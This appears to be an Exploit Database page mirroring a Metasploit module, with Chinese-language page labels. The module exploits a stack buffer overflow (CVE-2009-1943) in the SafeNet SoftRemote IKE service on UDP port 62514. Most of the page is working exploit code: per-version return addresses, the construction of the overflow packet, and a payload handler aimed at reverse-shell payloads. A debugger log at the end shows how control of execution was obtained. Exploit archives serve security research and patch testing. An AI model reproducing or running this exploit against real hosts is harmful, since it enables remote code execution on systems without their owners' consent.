SafeNet SoftRemote – IKE Service Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-06-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16831/

• ##
  # $Id: safenet_ike_11.rb 9583 2010-06-22 19:11:05Z todb $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SafeNet SoftRemote IKE Service Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe
  				service. When sending a specially crafted udp packet to port 62514 an
  				attacker may be able to execute arbitrary code. This module has
  				been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using
  				windows/meterpreter/reverse_ord_tcp payloads.
  			},
  			'Author' => [ 'MC' ],
  			'Version'=> '$Revision: 9583 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-1943' ],
  					[ 'OSVDB', '54831' ],
  					[ 'BID', '35154' ],
  					[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=63&Itemid=1' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 213,
  					'BadChars' => "\x00\x0a\x20\x0d",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  				},
  			'Privileged' => true,
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'SafeNet Irelke 10.8.0.20', { 'Ret' => 0x004514a9 } ],
  					[ 'SafeNet Irelke 10.8.0.10', { 'Ret' => 0x00451889 } ],
  					[ 'SafeNet Irelke 10.8.3.6',{ 'Ret' => 0x00451929 } ],
  				],
  			'DisclosureDate' => 'Jun 1 2009',
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(62514)], self)
  	end
  
  	def exploit
  
  		connect_udp
  
  		sploit =[0x01000000].pack('V') # IPC packet
  		sploit << [0x00000033].pack('V') # Exploit this thing using command 0x11 (0x33 - 0x28).
  		sploit << payload.encoded
  		sploit << [target.ret].pack('V')
  		sploit << rand_text_alpha_upper(150)
  
  		print_status("Trying target #{target.name}...")
  		udp_sock.put(sploit)
  
  		select(nil,nil,nil,5)
  		handler
  		disconnect_udp
  
  	end
  
  end
  =begin
  0:013> g
  (f7c.fe0): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=68413268 ebx=00dcfde8 ecx=00000000 edx=014af53c esi=00dcfdf1 edi=00000000
  eip=41316841 esp=014af64c ebp=00000001 iopl=0 nv up ei pl nz na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
  41316841 ?????
  0:008> !pattern_offset 300
  [Byakugan] Control of eax at offset 217.
  [Byakugan] Control of eip at offset 213.
  0:008> d esp
  014af64c68 32 41 68 33 41 68 34-41 68 35 41 68 36 41 68h2Ah3Ah4Ah5Ah6Ah
  014af65c37 41 68 38 41 68 39 41-69 30 41 69 31 41 69 327Ah8Ah9Ai0Ai1Ai2
  014af66c41 69 33 41 69 34 41 69-35 41 69 36 41 69 37 41Ai3Ai4Ai5Ai6Ai7A
  014af67c69 38 41 69 39 41 6a 30-41 6a 31 41 6a 32 41 6ai8Ai9Aj0Aj1Aj2Aj
  014af68c33 41 6a 34 41 6a 35 41-6a 36 41 6a 37 41 6a 383Aj4Aj5Aj6Aj7Aj8
  014af69c41 6a 39 41 6b 30 41 6b-31 41 6b 32 41 6b 33 41Aj9Ak0Ak1Ak2Ak3A
  014af6ac6b 34 41 6b 35 41 6b 36-41 6b 37 41 6b 38 41 6bk4Ak5Ak6Ak7Ak8Ak
  014af6bc39 41 6c 30 41 6c 31 41-6c 32 41 6c 33 41 6c 349Al0Al1Al2Al3Al4
  0:008> d esi
  00dcfdf161 30 41 61 31 41 61 32-41 61 33 41 61 34 41 61a0Aa1Aa2Aa3Aa4Aa
  00dcfe0135 41 61 36 41 61 37 41-61 38 41 61 39 41 62 305Aa6Aa7Aa8Aa9Ab0
  00dcfe1141 62 31 41 62 32 41 62-33 41 62 34 41 62 35 41Ab1Ab2Ab3Ab4Ab5A
  00dcfe2162 36 41 62 37 41 62 38-41 62 39 41 63 30 41 63b6Ab7Ab8Ab9Ac0Ac
  00dcfe3131 41 63 32 41 63 33 41-63 34 41 63 35 41 63 361Ac2Ac3Ac4Ac5Ac6
  00dcfe4141 63 37 41 63 38 41 63-39 41 64 30 41 64 31 41Ac7Ac8Ac9Ad0Ad1A
  00dcfe5164 32 41 64 33 41 64 34-41 64 35 41 64 36 41 64d2Ad3Ad4Ad5Ad6Ad
  00dcfe6137 41 64 38 41 64 39 41-65 30 41 65 31 41 65 327Ad8Ad9Ae0Ae1Ae2
  0:008> s -b 0x00400000 0x0047c000 ff d6
  .
  .
  004514a9ff d6 8b e8 8d 44 24 10-c7 44 24 10 00 00 00 00.....D$..D$.....
  0:008> u 0x004514a9 L1
  IreIKE+0x514a9:
  004514a9 ffd6callesi
  =end